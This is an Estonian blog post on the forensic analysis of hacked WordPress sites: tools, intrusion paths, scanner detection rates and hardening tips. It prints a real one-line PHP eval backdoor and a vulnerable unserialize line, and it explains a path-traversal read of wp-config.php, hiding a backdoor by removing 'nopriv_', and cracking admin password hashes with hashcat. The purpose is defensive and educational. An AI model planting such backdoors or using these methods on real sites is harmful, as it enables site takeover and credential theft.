Pöördlammutamine ehk pihtas-põhjas, nett on hukas

“Midagi võiks ära lammutada,” selgitas Birgy Lorenz, kui mult Küberolümpia ehk European Cyber Security Challenge 2017 eelvooru seminari jaoks ettekannet küsis.

Kuna täiesti juhuslikult oli minul samal ajal plaanis Muhu Väina regatil purjekat ja/või Riia linna lammutada, siis kasutasin võimalust ning vormistasin oma demod 13,5-minutiliseks videoks.

Sihtgrupist lähtuvalt on see pöördlammutamine “veidike” tehnilisevõitu, aga kindlasti õpetlik vaatamine kõigile veebirakendustega (eriti WordPressiga) tegelejatele. Pikem taustaselgitus allpool, sobib lugeda nii enne kui ka pärast video vaatamist.

Pöördlammutamine?

Lammutamise all mõtles Birgy seda, et võiks võtta ette mõne turvaprobleemidega süsteemi ja näidata, kuidas ühest väiksest august sisse pääsenuna õnnestub ka kõik muu üle võtta. Kuna ise endale ründeks probleemset veebi ette valmistades tekib alati selline… lati alt läbi mineku tunne, otsustasin sedapuhku veidi keerulisema tee kasuks. Võtsin ette 5 viimasel ajal maha häkitud WordPressi, mille puhastamiseks kliendid Zone klienditoe tehnikute abi on kasutanud ja seadsin endale järgmised ülesanded:

  • tuvastada kogu veebis olev pahavara (sellest ka “pöördlammutamine”)
  • lisada leitu ühele tühjale ja anonüümsele WordPressile
  • testida levinud pahavara-skännereid ja määrata nende efektiivsus
  • selgitada välja tõenäoline sissehäkkimise viis
  • rääkida tulemus lahti videos, mis on lühem kui 10 minutit

Viimane punkt läks veidi lappama, sest õpetlikke näiteid kogunes kahjuks rohkem kui 10 minuti sisse mahtus.

Eriti räpane WordPress

Eksperimendi üheks ajendiks oli ka maikuus FB WordPress Eesti grupis toimunud arutelu WP turvapluginate ja skannerite efektiivsuse teemal. Kuna mu eelmise aasta pahavara-näidiste komplekti olid erinevad teenused hakanud üsna kergesti ära tundma, kasutasin vabu hetki jõudmaks puhastamist vajavatele veebidele jaole enne tehnikute tööleasumist, kogusin tõendusmaterjali rünnete kohta ning tegin läbi lihtsustatud versiooni meie puhastus-protsessist: vahetasin välja WP ja kõik pluginad-teemad, seejärel lasin versioonihaldusel kuvada erinevusi ehk muudetud või lisatud faile.

Huvitavad näited – nakatatud ja pahavaralised pluginad, WP kataloogidesse ja koodi sokutatud tagauksed, kataloogitäied SEO-spämmi jms – tõstsin üle puhtasse WordPressi, pannes kõik probleemid kenasti tabelisse kirja.

Kas ma seda WordPress’i jagan kah? Kui on huvitav kasutusplaan ja usaldusväärne küsija, siis kaalun plusse ja miinuseid.

Tööriistad

Käsitsi oleks seda kõike nüri teha – eriti mitme veebi puhul. Minu tavapärane tööriistakohver näeb välja selline:

WPScan – käsurealt käivitatav utiliit, mis kasutab wpvulndb.com andmebaasi ja proovib leida WP enda ja pluginate-teemade teadaolevaid haavatavusi. Kohati annab see aimu võimalikust ründevektorist – nt mõni plugin, mis lubab path traversal’it ehk kuvada failide sisu, sh wp-config.php, kus on kirjas andmebaasi kasutajatunnused. Paraku ei saa WPScan alati täpselt pihta plugina versioonile, tekitades ohtralt lärmi valepositiivsete leidude näol. Ja samas oleme me kohanud saite pluginatega, mis ei ole kirjas üheski andmebaasis ja veelgi enam – haavatav versioon on endiselt WP plugina-saidist allalaetav.

Minu enda ctimer.php (mille leiab koos selgitustega blogipostist CSI küber – kas keegi on mu serveris faile muutnud?) – kuna ctime aeg läheb kirja kerneli õigustes, siis võib seda usaldada, erinevalt tavaliselt kuvatavast ja igaühe poolt muudetavast mtime ajast. Sortides faile ctime järgi hakkab sageli silma värskeim kahtlasel moel muudetud fail, mille asukoht võib reeta probleemse plugina või hoopis selle, et sissetung on toimunud adminnkasutaja parooli äraarvamise ja WP enda teema/pluginaeditori kaasabil. Või siis vähemalt on teada, millisest ajajärgust tuleks logisid uurima hakata.

Logid, grep ja less – sellest, kuidas logisid uurida, tuleks teha täiesti eraldi postitus. Arvestades nende suurust peaks käsurealt greppimine ja tulemuses ringi navigeerimine olema igal veebimeistril samamoodi käpas nagu HTML, CSS, Gulp, Bower jne. Sedapuhku tekkis paari saidi puhul justnimelt logisid vaadates mõte, et probleemiks on nõrk parool – sest teemafaile oli muudetud kohe pärast loginit.

hashcat – jõhker overkill kontrollimaks paroolide tugevust räside brute force’imise meetodil. Aga mingi tööriistaga pidi seda tegema ja ka maailma väikseim sõnastik, kus sisalduvad ainult kasutajanimed, saidinimi ja paar levinumat nõrka parooli on sõnastik. Minul oli lisaks reegel, mis proovis panna kasutajanime lõppu numbreid 1-9 ja lähemaid aastaarve.

Minu enda WP-CLI-põhine shellscript clinup – võimaldab ühe käsuga teha liigutusi nagu WP, pluginate ja teemade vahetamine sama (või värskeima) versiooni koodi vastu tehes iga sammu järel git commit, PHP otsimine uploads-kaustast, .htaccess abil elementaarsete piirangute kehtestamine ja palju muud huvitavat.

Õpetlikud näited

WPscan abil leiab pahalaste poolt ülevõetud veebidest sageli uuendamata ja teadaoleva turvaaugu pluginaid koos selle ärakasutamise õpetusega. Heal juhul selgub sellest kohe ka ülevõtmise meetod ehk lappimist vajav probleem.

Tavapärane ründaja töötab mõistagi täpselt vastupidi, ehk skannib kõiki ettesattuvaid veebe proovides leida nõrkusi, mille jaoks on tema tööriistakohvrikeses rünne juba olemas.

Kataloogihüpe

Enamasti pakub ründajatele huvi võimalus faile üles laadida, aga oluliselt levinum turvaprobleem on path traversal ehk kataloogihüpe – seda kasutatakse ära nägemaks wp-config.php’st andmebaasi kasutajatunnuseid.

Videos demongi ühte sellist probleemi kasutades Font plugina versiooni 7.5, mis ühes nakatunud veebis kasutusel oli:

Tähelepanelik vaataja märkab siinkohal kindlasti, et selle kirjelduses on mainitud ka “authenticated” ehk siis probleemi ärakasutamine eeldab sisseloginud kasutajat. See ei pea aga üldsegi tähendama admin-kasutajat. Kuna tolles veebis oli paigaldatud ka WooCommerce, siis oli täiesti võimalik regada endale kliendi-konto ning olles sellega sisse loginud, teha vastav pöördumine, sest ei kontrollita admin-õigust, vaid lihtsalt sisselogimist:

Olgu öeldud, et üks kahtlasevõitu epostiga kasutaja oli seal veebis ka olemas. Paraku märkasin seda alles pärast salvestamist, seega jõuan video lõpus veidi teistsugusele ja oluliselt lihtsamat ligipääsu võimaldavale järeldusele.

Aga üks näide käib selle plugina juurde veel: kui teha koodis vaevumärgatav muutus ehk eemaldada ülaloleval ekraanilasul valitud nopriv_, siis kaob vajadus sisselogimise järele. Kui muuta lisaks plugina versioon värskeimaks olemasolevaks, siis on mul veebis ideaalne tagauks: see ei näi põgusal vaatlemisel kahtlane ning veebimeister võib WordPress’is pluginaid uuendada ja andmebaasi-paroole vahetada palju tahab.

Tõsi – on üks väike nipp, mis sellise probleemi vastu aitab: kui kasutada uuendamiseks WP-CLI käsurea-utiliiti, siis saab anda kaasa parameetri --force, mis tagab ka olemasolevate pluginate re-installi (juhul, kui need kasutavad standardset uuendusprotsessi st ei ole käsitsi kusagilt paigaldatud). Ja kui ükshaaval ei viitsi uuendada, siis võib küsida nimistu ja lasta tsükliga:

wp plugin install $(wp plugin list --field=name) --force

Ja seejärel võib vaadata, et mis kataloogid jäid viimase 15min jooksul vahetamata ning need käsitsi üle käia:

find wp-content/plugins -maxdepth 1 -type d -mmin +15 -exec basename {} \;

Videos teen ma sama oma veidi keerukama clinup skriptiga, mis oskab vahetada hetkel kasutusel oleva versiooni vastu ja ühtlasi iga sammu vahel git commit teha, kuvades mugavalt kõik muutused:

Teepaljang

Tunnistan, et olen ka ise full path disclosure ehk teepaljangule liiga vähe tähelepanu pööranud. Kui veebis on äraarvatavas asukohas viga andev PHP-fail, siis kuvab veateade vaikimisi välja faili asukoha kettal:

Kuna mul esimesel katsel tavapärane kataloogipuus ülespoole liikumine ehk ../../../wp-config.php tulemust ei andnud – ilmselt tegin miski kirjavea – leidsin äraarvatavast asukohast ehk teemakataloogist hõlpsalt faili, mis reetis veebiserveri juurkataloogi.

Hea oleks vigade väljastamine juba php.ini’s ära keelata – meie puhul sobib selleks phpini/global/php.ini fail (ülejäänud on automaatselt genereeritud ja neid kasutaja muuta ei saa):

[PHP]

display_errors = Off

… aga siis tuleks meeles pidada, et nii on tehtud ja edaspidi vigu ikka logidest otsida ja mitte helistada klienditoele teatega “mu veeb kuvab valget lehte”.

Ääremärkus – juba mõnda aega leiavad PHP 7 kasutajad logs kataloogist ka viimaste päevade PHP-vealogid ning sümbollingi käsiloleva päeva logile.

Jagatud serveri needus: jagatud andmebaasiserver

Ja mis nende andmebaasi-paroolidega pihta hakata? Jagatud serveri puhul on jagatud ka andmebaasiserver ja PHPmyadmin vms lihtne haldusvahend… ning sealtkaudu saab endale adminn-kasutaja lisada või mõne olemasoleva parooliräsi korraks ära muuta. Zupsti sisse-välja… ja tehtud. Valus hakkab pärastpoole.

Selle vastu väga head lahendust ei ole. Võiks ju keelata PHPmyadmin’i kasutamise, aga teisest samas serveris olevast ülevõetud veebist saab ikka ligi, sest IP millega ligipääsu saab piirata on sama. Eriti paranoilised isikud – nagu mina – võivad muidugi salvestada paroolid Apache direktiivide abil keskkonnamuutujatesse ja siis neid kasutada:

Ja wp-config.php-s:

define( 'DB_NAME', $_ENV['DB_NAME'] );
define( 'DB_USER', $_ENV['DB_USER'] );
define( 'DB_PASSWORD', $_ENV['DB_PASSWORD'] );
define( 'DB_HOST', $_ENV['DB_HOST'] );

(just-in-case kõik mu muud nipid veebi kaitsmiseks alt veavad)

Tavaline ja ebatavaline tagauks

Harilikult leiab veebist tagauksed ja pahavara koodi vaadates üsna kergesti üles – sest sealt paistavad eval(), system(), base64_decode() vms funktsioonide kõrvad:

Sedapuhku hakkas mulle aga silma ka haruldasem elukas – nimelt oli ühes failis selline rida:

echo preg_filter('|.*|e', $_REQUEST['oneman'], '');

PHP on selline tore keel, kus regex’is on olemas modifikaator e ehk PREG_REPLACE_EVAL , mis on varmalt valmis kõike leitut eval()’ima ehk kasutaja sisestatut käsuna täitma. See on eemaldatud PHP versioonis 7 – aga aastal 2012 loodud veebiserveris versiooni vahetamine on nõrkadele…

Misiganes põhjusel on parimad nimistud innovatiivsetest tagauksestatud koodinäidistest hiinakeelsetes veebides, ei hakka siinkohal linkima, aga googeldades “php callback backdoor”, siis peaks üht-teist välja ilmuma (saitide külastamine omal vastutusel).

Lisaks hakkas mulle FlickrPress plugina (tänaseks kataloogist eemaldatud) koodis täiesti juhuslikult silma rida:

 $something = unserialize(@base64_decode($_REQUEST[‘something’]));

See võimaldab PHP Object Injection ehk PHP objektisüsti haavatavuse ärakasutamist. Mugava proof-of-concept koodi – sest objektisüst eeldab ärakasutamiseks sobiliku objekti olemasolu – leiab Plugin Vulnerabilities blogipostitusest. Proovime järgi:

Tähelepanelik vaatleja kindlasti märkab, et ma olen teinud täiesti suvalise alamlehe pihta GET-päringu andes pluginas oleva turva-augu aktiveerimiseks vajalikud parameetrid kaasa küpsisena. See plugin loeb parameetreid $_REQUEST globaalmuutujast – mis ei ole hea praktika – ning sinna jooksevad seadistusest (variables_order ja request_order) sõltuvalt kokku $_GET ja $_POST parameetrid… ning $_COOKIE.

Ääremärkus: ajaloolistel põhjustel on ka meil Zones vaikimisi variables_order väärtuseks ‘EGPCS’. Kui me selle tihedamaks keeraks… läheks kellelgi midagi katki. Ilmselt peaks lisama võimaluse seda seadistada. Seniks võib phpini/global/php.ini faili panna lisaks ülalviidatud vigade väljastamise keelule ka rea request_order = 'GP'

Kuivõrd video tegemise seisuga polnud seda pluginat kirjas levinud haavatavuse-baasides ega fixitud, siis võib seda ilmselt zero-day’ks nimetada.

Autor sai vastutustundlikult teavitatud, oli juba enne teadlik … ja võttis selle tulemusel plugina (“Viimati uuendatud: 8 aastat tagasi”) ametlikust kataloogist üldse maha.

Ehk kõik, kellel see plugin kasutusel, on edaspidi endiselt haavatavad ja neil puudub ka adekvaatne viis ohust teada saada. Äärmiselt sobilik näide illustreerimaks “uuendamine ei pruugi olla lahendus” väidet.

Ääremärkus – raporteerides FlickrPress’i saatsin kordusteate ka ühe teise plugina turvaprobleemi kohta, mille vastu suunatud ründe avastasin juba pool aastat tagasi. Ma puhtalt huvi pärast ootan, et kaua läheb fiksimisega.

Pahavara tuvastamise tõenäosus

Kui me juba müütideni jõudsime, siis lammutaks ära veel ühe – “veebiserverist on võimalik asjakohase tööriistaga leida üles pahavara sisaldavad failid ning need siis ära kustutada või puhastada”. Veidi muudetud väide on samas tõene: “On võimalik leida pahavara sisaldavaid faile, kui neid on piisavalt palju ja need vastavad levinud mustritele.”

Leitava pahavara protsent sõltub tööriista võimekusest ja häälestuse tundlikkusest. Mina võtsin ette Zone+ all pakutava Nimbusec’i, Revisium’i tasuta tööriista AI-bolit tavalises ja “paranoia”-reziimis ning WP pluginad Quttera ja GotMLS. Kontrolliks võtsin testi ka Nod32 ja DrWeb antiviirused, aga nende tulemus on allpool igasugust arvestust (ning ClamAV leidis veel 2x vähem).

Teades kõiki muudetud faile (52 olulist näidet) oli lihtne teha andmebaasi-rakendus, kuhu saan lugeda sisse tuvastuste raporti ning tulemused tabelina kuvada:

Valepositiivsete protsent on arvestatud leidude suhtes, sest nii tundus loogilisem. Kasutaja jaoks annab “leitud 10 reaalset ohtu ja 5 valepositiivset” põhjal rehkendatud 50% ilmselt rohkem infot, kui protsent kõigist WP all olevatest failidest.

Järjekordselt oleme rahul oma valitud Nimbusec’iga – tuvastus on piisavalt hea tagamaks toimimise suitsuandurina ehk andmaks märku veebi tabanud probleemist, samas ei tekita tavakasutajas liigselt paanikat valepositiivsetega.

Aga isegi kõige paranoilisem AI-bolit skooris vaid 90% probleemsetest failidest – ehk maha tuleks matta (ja raske kiviga katta) lootus, et mingi skänni abil saab veebi puhtaks. Ainus lahendus on kõik mis võimalik ära asendada. Ja ülejäänu käsitsi üle käia või minema visata.

Ja lõpuks – kuidas siis ikkagi sisse saadi?

Viimase kahe näidispakki lisatud veebi puhul tundus mulle kahtlane, et probleemiks oli mõni plugin, pigem oli tuldud sisse admin-kasutajana ja faile muutes endale laiem ligipääs rajatud.

Hüpoteesi kontrolliks otsustasin “Paha Panda” meetodit ehk nõrkade paroolide äramõistatamist kasutada. Võtsin ette hashcat’i ning tekitasin sõnastiku enamlevinud paroolidest, uuritavates saitides olnud kasutajanimedest ja lisasin reegli, mis proovib esimest tähte suureks teha ja lõppu numbrit lisada.

Tulemuseks – mu läpakas ei jõudnud veel ventilaatorit käima panna, kui hashcat juba räsidele vastavad paroolid välja sülitas:

Esimene neist on täpselt reaalse saidi kasutajanimi ja parooliräsi (sedapalju siis soovitusest, et admin kasutaja asemel mõne teise nime kasutamine turvalisust tõstab – kasutajanimede kokkulugemine pole tead-mis keeruline), aga teise puhul on parool ohvri isiku kaitseks ära muudetud.

Pihtas-põhjas, nett on hukas…

ps. kui lugesid alustuseks teksti läbi – tubli! – siis ära unusta lisaks ka videot vaadata 🙂